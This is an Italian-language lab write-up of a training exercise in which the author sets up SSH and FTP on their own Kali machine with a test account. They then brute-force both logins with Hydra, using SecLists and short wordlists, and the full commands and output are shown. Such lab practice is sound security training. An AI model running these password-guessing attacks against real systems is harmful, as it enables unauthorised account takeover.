

Esercizio S6L5

CONFIGURAZIONE E CRACKING SSH

Creiamo un nuovo utente su Kali Linux, con il comando «adduser».

Chiamiamo l'utente test_user, e configuriamo una password iniziale testpass

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []: TS
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y

(kali㉿kali)-[~]
$
```

Attiviamo il servizio ssh con il comando `sudo service ssh start` e controlliamo che il servizio sia attivo

```
(kali㉿kali)-[~]
$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-05-09 04:20:23 EDT; 7s ago
     Invocation: f77d81503e4b4855ae445390fdc60217
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 7880 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 7882 (sshd)
      Tasks: 1 (limit: 9382)
     Memory: 2.3M (peak: 2.7M)
        CPU: 20ms
    CGroup: /system.slice/ssh.service
            └─7882 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

May 09 04:20:23 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server ...
May 09 04:20:23 kali sshd[7882]: Server listening on 0.0.0.0 port 22.
May 09 04:20:23 kali sshd[7882]: Server listening on :: port 22.
May 09 04:20:23 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
```

Apro il file di configurazione usando “sudo nano /etc/ssh/sshd_config”

```
GNU nano 8.4 /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files

^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location   M-U Undo
^X Exit      ^R Read File  ^\ Replace    ^U Paste      ^J Justify    ^_ Go To Line  M-E Redo
```

Ai fini dell'esercizio lasciamo il file così e procediamo controllando l'indirizzo IP della Kali digitando “ip a”

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:b4:a1:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.225/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
        valid_lft 84957sec preferred_lft 84957sec
    inet6 fe80::a5da:6553:63ce:2e58/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
```

Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente: `ssh test_user@192.168.1.225`

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.1.225
test_user@192.168.1.225's password:
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May  9 04:38:11 2025 from 192.168.1.225
(test_user㉿kali)-[~]
$
```

la connessione SSH è andata a buon fine. Sono stato in grado di autenticarmi come utente `test_user` con indirizzo IP `192.168.1.225`.

Il prompt dei comandi è cambiato da `kali@kali` a `test_user@kali`, il che indica che ora sono loggato come `test_user`

Questo dimostra che Il servizio SSH è attivo e funzionante, l'utente `test_user` è stato creato correttamente ed è abilitato per l'accesso tramite SSH, la password impostata è corretta.

A questo punto, avendo verificato l'accesso, non ci resta che configurare Hydra per una sessione di cracking. Ovviamente in questo esercizio conosciamo già l'utente e la password per accedere, ma soffermiamoci sulla sintassi di Hydra per ora:

```
(test_user㉿kali)-[~]
$ hydra -l test_user -p testpass 192.168.1.225 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 04:46:38
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.225:22/
[22][ssh] host: 192.168.1.225 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 04:46:39

(test_user㉿kali)-[~]
$
```

Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario.

Installiamo seclists

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ sudo apt install seclists
Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 0
  Download size: 533 MB
  Space needed: 1,816 MB / 62.6 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.1-0kali1 [533 MB]
Fetched 533 MB in 6s (95.8 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 415552 files and directories currently installed.)
Preparing to unpack .../seclists_2025.1-0kali1_all.deb ...
Unpacking seclists (2025.1-0kali1) ...
Setting up seclists (2025.1-0kali1) ...
Processing triggers for kali-menu (2025.2.2) ...
Processing triggers for wordlists (2023.2.0) ...

(kali㉿kali)-[~]
$
```

Controllo le directory appena create

```
(kali㉿kali)-[/usr/share/seclists]
$ ls
Discovery  Fuzzing  Miscellaneous  Passwords  Pattern-Matching  Payloads  README.md  Usernames  Web-Shells
```

Modifico i file di username e password per essere più snelli limitandomi a 1001 righe ciascuno e facendo attenzione che in entrambi sia presente il corrispettivo dell'utente in oggetto di simulazione.

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-05-09 06:06:05 EDT; 8s ago
  Invocation: e49a9ebe1a5e48de81b4028ef23f1f13
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 1879 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 1881 (sshd)
    Tasks: 1 (limit: 9382)
   Memory: 2.3M (peak: 3M)
      CPU: 29ms
   CGroup: /system.slice/ssh.service
           └─1881 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

May 09 06:06:05 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server ...
May 09 06:06:05 kali sshd[1881]: Server listening on 0.0.0.0 port 22.
May 09 06:06:05 kali sshd[1881]: Server listening on :: port 22.
May 09 06:06:05 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

(kali㉿kali)-[~]
$
```

Hydra è ora in esecuzione e sta tentando le combinazioni di username e password.

I messaggi [STATUS] indicano che sta effettuando tentativi di login contro il servizio SSH su 192.168.1.225.

Per abbreviare il tempo del test creo i file usernames_short.txt e passwords_short.txt con solo quattro variabili tra cui quella vera

```
(kali㉿kali)-[~]  
$ nano ~/usernames_short.txt  
  
(kali㉿kali)-[~]  
$ nano ~/passwords_short.txt
```

Avvio Nuovamente Hydra che, in un tempo accettabile, trova user e pass richieste

```
(kali㉿kali)-[~]  
$ hydra -L ~/usernames_short.txt -P ~/passwords_short.txt 192.168.1.225 -t 1 ssh -v  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 06:22:58  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 1 task per 1 server, overall 1 task, 16 login tries (l:4/p:4), ~16 tries per task  
[DATA] attacking ssh://192.168.1.225:22/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.1.225:22  
[INFO] Successful, password authentication is supported by ssh://192.168.1.225:22  
[22][ssh] host: 192.168.1.225 login: test_user password: testpass  
[STATUS] attack finished for 192.168.1.225 (waiting for children to complete tests)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 06:23:56
```

La prima parte dell'esercizio è quindi conclusa.

Per la seconda parte dell'esercizio, scelgo il servizio ftp, e poi provo a craccare l'autenticazione con Hydra.

Inizio con l'installare il servizio

```
(kali㉿kali)-[~]
$ sudo apt update
Get:1 https://packages.microsoft.com/repos/vscode stable InRelease [3,594 B]
Get:2 https://packages.microsoft.com/repos/vscode stable/main amd64 Packages [27.1 kB]
Hit:3 http://http.kali.org/kali kali-rolling InRelease
Fetched 30.7 kB in 0s (67.4 kB/s)
All packages are up to date.

(kali㉿kali)-[~]
$ sudo apt install vsftpd
Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 0
  Download size: 143 kB
  Space needed: 352 kB / 60.7 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 kB]
Fetched 143 kB in 1s (150 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 421873 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0.1) ...
Setting up vsftpd (3.0.5-0.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2025.2.2) ...

(kali㉿kali)-[~]
$
```

Avvio il servizio e utilizzo Hydra con i dizionari di quattro parole usati in precedenza

```
(kali㉿kali)-[~]
$ hydra -L ~/usernames_short.txt -P ~/passwords_short.txt 192.168.1.225 ftp -v -t 1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 06:37:58
[DATA] max 1 task per 1 server, overall 1 task, 16 login tries (l:4/p:4), ~16 tries per task
[DATA] attacking ftp://192.168.1.225:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[21][ftp] host: 192.168.1.225 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.225 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 06:38:45

(kali㉿kali)-[~]
$
```

Hydra ha trovato una corrispondenza per il servizio FTP ed è riuscito a autenticarsi al server FTP in esecuzione su 192.168.1.225 utilizzando l'username test_user e la password testpass.